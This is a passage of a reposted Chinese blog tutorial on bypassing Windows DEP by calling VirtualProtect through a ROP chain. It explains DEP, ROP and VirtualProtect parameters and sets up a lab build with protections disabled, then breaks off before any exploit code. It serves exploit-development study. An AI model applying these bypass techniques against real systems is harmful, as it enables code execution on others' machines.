{"id":216,"date":"2015-04-19T11:35:04","date_gmt":"2015-04-19T11:35:04","guid":{"rendered":""},"modified":"2015-04-19T11:35:04","modified_gmt":"2015-04-19T11:35:04","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=216","title":{"rendered":"[\u8f6c] Windows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_17 counter-hierarchy\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" style=\"display: none;\"><i class=\"ez-toc-glyphicon ez-toc-icon-toggle\"><\/i><\/a><\/span><\/div>\n<nav><ul class=\"ez-toc-list ez-toc-list-level-1\"><li class=\"ez-toc-page-1 ez-toc-heading-level-1\"><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/weizn.net\/?p=216\/#i\" title=\"\n\tWindows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP \n\">\n\tWindows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP \n<\/a><ul class=\"ez-toc-list-level-2\"><li class=\"ez-toc-heading-level-2\"><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/weizn.net\/?p=216\/#i-2\" title=\"\n\t\t0x00 \u524d\u8a00 \n\t\">\n\t\t0x00 \u524d\u8a00 \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-2\"><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/weizn.net\/?p=216\/#i-3\" title=\"\n\t\t0x01 \u7b80\u4ecb \n\t\">\n\t\t0x01 \u7b80\u4ecb \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-2\"><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/weizn.net\/?p=216\/#i-4\" title=\"\n\t\t0x02 \u76f8\u5173\u6982\u5ff5 \n\t\">\n\t\t0x02 \u76f8\u5173\u6982\u5ff5 \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-2\"><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/weizn.net\/?p=216\/#i-5\" title=\"\n\t\t0x03 VS2012\u7684\u7f16\u8bd1\u914d\u7f6e \n\t\">\n\t\t0x03 VS2012\u7684\u7f16\u8bd1\u914d\u7f6e \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-2\"><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/weizn.net\/?p=216\/#i-6\" title=\"\n\t\t0x04 \u5b9e\u9645\u6d4b\u8bd5 \n\t\">\n\t\t0x04 \u5b9e\u9645\u6d4b\u8bd5 \n\t<\/a><ul class=\"ez-toc-list-level-3\"><li class=\"ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/weizn.net\/?p=216\/#i-7\" title=\"\n\t\t\u6d4b\u8bd51\uff1a \n\t\">\n\t\t\u6d4b\u8bd51\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/weizn.net\/?p=216\/#i-8\" title=\"\n\t\t\u6d4b\u8bd52\uff1a \n\t\">\n\t\t\u6d4b\u8bd52\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/weizn.net\/?p=216\/#i-9\" title=\"\n\t\t\u6d4b\u8bd53\uff1a \n\t\">\n\t\t\u6d4b\u8bd53\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/weizn.net\/?p=216\/#i-10\" title=\"\n\t\t\u6d4b\u8bd54\uff1a \n\t\">\n\t\t\u6d4b\u8bd54\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/weizn.net\/?p=216\/#i-11\" title=\"\n\t\t\u6d4b\u8bd55\uff1a \n\t\">\n\t\t\u6d4b\u8bd55\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/weizn.net\/?p=216\/#i-12\" title=\"\n\t\t\u6d4b\u8bd56\uff1a \n\t\">\n\t\t\u6d4b\u8bd56\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/weizn.net\/?p=216\/#i-13\" title=\"\n\t\t\u6d4b\u8bd57\uff1a \n\t\">\n\t\t\u6d4b\u8bd57\uff1a \n\t<\/a><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-3\"><a class=\"ez-toc-link ez-toc-heading-14\" href=\"http:\/\/weizn.net\/?p=216\/#i-14\" title=\"\n\t\t\u6d4b\u8bd58 \n\t\">\n\t\t\u6d4b\u8bd58 \n\t<\/a><\/li><\/ul><\/li><li class=\"ez-toc-page-1 ez-toc-heading-level-2\"><a class=\"ez-toc-link ez-toc-heading-15\" href=\"http:\/\/weizn.net\/?p=216\/#i-15\" title=\"\n\t\t0x05 \u5c0f\u7ed3 \n\t\">\n\t\t0x05 \u5c0f\u7ed3 \n\t<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h1 style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-variant-numeric:inherit;font-stretch:inherit;font-size:30px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;white-space:normal;background-color:#FFFFFF;\"><span class=\"ez-toc-section\" id=\"i\"><\/span>\n\tWindows Shellcode\u5b66\u4e60\u7b14\u8bb0\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<div class=\"entry\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-variant-numeric:inherit;font-stretch:inherit;font-size:18px;line-height:inherit;font-family:Helvetica, Arial, sans-serif;vertical-align:baseline;color:#333333;white-space:normal;background-color:#FFFFFF;\">\n<h2 id=\"0x00-\u524d\u8a00\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-2\"><\/span>\n\t\t0x00 \u524d\u8a00<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5728\u638c\u63e1\u4e86\u6808\u6ea2\u51fa\u7684\u57fa\u672c\u539f\u7406\u548c\u5229\u7528\u65b9\u6cd5\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u7814\u7a76\u5982\u4f55\u7ed5\u8fc7Windows\u7cfb\u7edf\u5bf9\u6808\u6ea2\u51fa\u5229\u7528\u7684\u91cd\u91cd\u9632\u62a4\uff0c\u6240\u4ee5\u6d4b\u8bd5\u73af\u5883\u4e5f\u4ecexp\u8f6c\u5230\u4e86Win7(\u76f8\u6bd4xp\uff0cWin7\u7684\u9632\u62a4\u66f4\u5168\u9762)\u3002\u672c\u6587\u5c06\u8981\u4ecb\u7ecd\u7ecf\u5178\u7684DEP\u7ed5\u8fc7\u65b9\u6cd5\u2014\u2014\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP\n\t<\/p>\n<h2 id=\"0x01-\u7b80\u4ecb\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-3\"><\/span>\n\t\t0x01 \u7b80\u4ecb<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u672c\u6587\u5c06\u8981\u4ecb\u7ecd\u4ee5\u4e0b\u5185\u5bb9\uff1a\n\t<\/p>\n<ul style=\"box-sizing:border-box;margin:15px 0px;padding:0px 0px 0px 30px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;list-style-position:initial;list-style-image:initial;\">\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\tVS2012\u7684\u7f16\u8bd1\u914d\u7f6e\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5229\u7528Immunity Debugger\u7684mona\u63d2\u4ef6\u81ea\u52a8\u83b7\u53d6ROP\u94fe\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5bf9ROP\u94fe\u7684\u5206\u6790\u8c03\u8bd5\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u8c03\u7528VirtualProtect\u51fd\u6570\u65f6\u7684Bug\u53ca\u4fee\u590d\n\t\t<\/li>\n<\/ul>\n<h2 id=\"0x02-\u76f8\u5173\u6982\u5ff5\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-4\"><\/span>\n\t\t0x02 \u76f8\u5173\u6982\u5ff5<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">DEP:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6ea2\u51fa\u653b\u51fb\u7684\u6839\u6e90\u5728\u4e8e\u8ba1\u7b97\u673a\u5bf9\u6570\u636e\u548c\u4ee3\u7801\u6ca1\u6709\u660e\u786e\u533a\u5206\uff0c\u5982\u679c\u5c06\u4ee3\u7801\u653e\u7f6e\u4e8e\u6570\u636e\u6bb5\uff0c\u90a3\u4e48\u7cfb\u7edf\u5c31\u4f1a\u53bb\u6267\u884c\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e3a\u4e86\u5f25\u8865\u8fd9\u4e00\u7f3a\u9677\uff0c\u5fae\u8f6f\u4eceXP SP2\u5f00\u59cb\u652f\u6301\u6570\u636e\u6267\u884c\u4fdd\u62a4(Data Exection Prevention)\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">DEP\u4fdd\u62a4\u539f\u7406:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6570\u636e\u6240\u5728\u5185\u5b58\u9875\u6807\u8bc6\u4e3a\u4e0d\u53ef\u6267\u884c\uff0c\u5f53\u7a0b\u5e8f\u6ea2\u51fa\u6210\u529f\u8f6c\u5165shellcode\u65f6\uff0c\u7a0b\u5e8f\u4f1a\u5c1d\u8bd5\u5728\u6570\u636e\u9875\u9762\u4e0a\u6267\u884c\u6307\u4ee4\uff0c\u800c\u6709\u4e86DEP\uff0c\u6b64\u65f6CPU\u4f1a\u629b\u51fa\u5f02\u5e38\uff0c\u800c\u4e0d\u662f\u53bb\u6267\u884c\u6307\u4ee4\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">DEP\u56db\u79cd\u5de5\u4f5c\u72b6\u6001:<\/strong>\n\t<\/p>\n<ul style=\"box-sizing:border-box;margin:15px 0px;padding:0px 0px 0px 30px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;list-style-position:initial;list-style-image:initial;\">\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\tOptin\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\tOptout\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\tAlwaysOn\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\tAlwaysOff\n\t\t<\/li>\n<\/ul>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">DEP\u7ed5\u8fc7\u539f\u7406:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u679c\u51fd\u6570\u8fd4\u56de\u5730\u5740\u5e76\u4e0d\u76f4\u63a5\u6307\u5411\u6570\u636e\u6bb5\uff0c\u800c\u662f\u6307\u5411\u4e00\u4e2a\u5df2\u5b58\u5728\u7684\u7cfb\u7edf\u51fd\u6570\u7684\u5165\u53e3\u5730\u5740\uff0c\u7531\u4e8e\u7cfb\u7edf\u51fd\u6570\u6240\u5728\u7684\u9875\u9762\u6743\u9650\u662f\u53ef\u6267\u884c\u7684\uff0c\u8fd9\u6837\u5c31\u4e0d\u4f1a\u89e6\u53d1DEP\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e5f\u5c31\u662f\u8bf4\uff0c\u53ef\u4ee5\u5728\u4ee3\u7801\u533a\u627e\u5230\u66ff\u4ee3\u6307\u4ee4\u5b9e\u73b0shellcode\u7684\u529f\u80fd\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4f46\u662f\u53ef\u4f9b\u5229\u7528\u7684\u66ff\u4ee3\u6307\u4ee4\u5f80\u5f80\u6709\u9650\uff0c\u65e0\u6cd5\u5b8c\u6574\u7684\u5b9e\u73b0shellcode\u7684\u529f\u80fd\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e8e\u662f\u4ea7\u751f\u4e86\u4e00\u4e2a\u6298\u4e2d\u65b9\u6cd5\uff1a\u901a\u8fc7\u66ff\u4ee3\u6307\u4ee4\u5173\u95edDEP\uff0c\u518d\u8f6c\u5165\u6267\u884cshellcode\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u5185\u5b58\u9875:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tx86\u7cfb\u7edf\u4e00\u4e2a\u5185\u5b58\u9875\u7684\u5927\u5c0f\u4e3a4kb\uff0c\u53730x00001000,4096\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">ROP:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u9762\u5411\u8fd4\u56de\u7684\u7f16\u7a0b(Return-oriented Programming)\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">VirtualProtect:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tBOOL VirtualProtect{ LPVOID\tlpAddress, DWORD\tdwsize, DWORD\tflNewProtect, PDWORD\tlpflOldProtect }\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tlpAddress:\u5185\u5b58\u8d77\u59cb\u5730\u5740 dwsize:\u5185\u5b58\u533a\u57df\u5927\u5c0f flNewProtect:\u5185\u5b58\u5c5e\u6027\uff0cPAGE_EXECUTE_READWRITE(0x40) lpflOldProtect:\u5185\u5b58\u539f\u59cb\u5c5e\u6027\u4fdd\u5b58\u5730\u5740\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP:<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5728\u5185\u5b58\u4e2d\u67e5\u627e\u66ff\u4ee3\u6307\u4ee4\uff0c\u586b\u5165\u5408\u9002\u7684\u53c2\u6570\uff0c\u8c03\u7528VirtualProtect\u5c06shellcode\u7684\u5185\u5b58\u5c5e\u6027\u8bbe\u7f6e\u4e3a\u53ef\u8bfb\u53ef\u5199\u53ef\u6267\u884c\uff0c\u7136\u540e\u8df3\u5230shellcode\u7ee7\u7eed\u6267\u884c\n\t<\/p>\n<h2 id=\"0x03-vs2012\u7684\u7f16\u8bd1\u914d\u7f6e\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-5\"><\/span>\n\t\t0x03 VS2012\u7684\u7f16\u8bd1\u914d\u7f6e<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u6d4b\u8bd5\u73af\u5883\uff1a<\/strong>\n\t<\/p>\n<ul style=\"box-sizing:border-box;margin:15px 0px;padding:0px 0px 0px 30px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;list-style-position:initial;list-style-image:initial;\">\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u6d4b\u8bd5\u7cfb\u7edf\uff1a\tWin 7 x86\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u7f16\u8bd1\u5668\uff1a\tVS2012\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\tbuild\u7248\u672c\uff1a\tRelease\n\t\t<\/li>\n<\/ul>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u9879\u76ee\u5c5e\u6027\uff1a<\/strong>\n\t<\/p>\n<ul style=\"box-sizing:border-box;margin:15px 0px;padding:0px 0px 0px 30px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;list-style-position:initial;list-style-image:initial;\">\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5173\u95edGS\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5173\u95ed\u4f18\u5316\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5173\u95edSEH\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5173\u95edDEP\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5173\u95edASLR\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u7981\u7528c++\u5f02\u5e38\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u7981\u7528\u5185\u90e8\u51fd\u6570\n\t\t<\/li>\n<\/ul>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u5177\u4f53\u914d\u7f6e\u65b9\u6cd5\uff1a<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u914d\u7f6e\u5c5e\u6027-c\/c++-\u6240\u6709\u5c5e\u6027\n\t<\/p>\n<ul style=\"box-sizing:border-box;margin:15px 0px;padding:0px 0px 0px 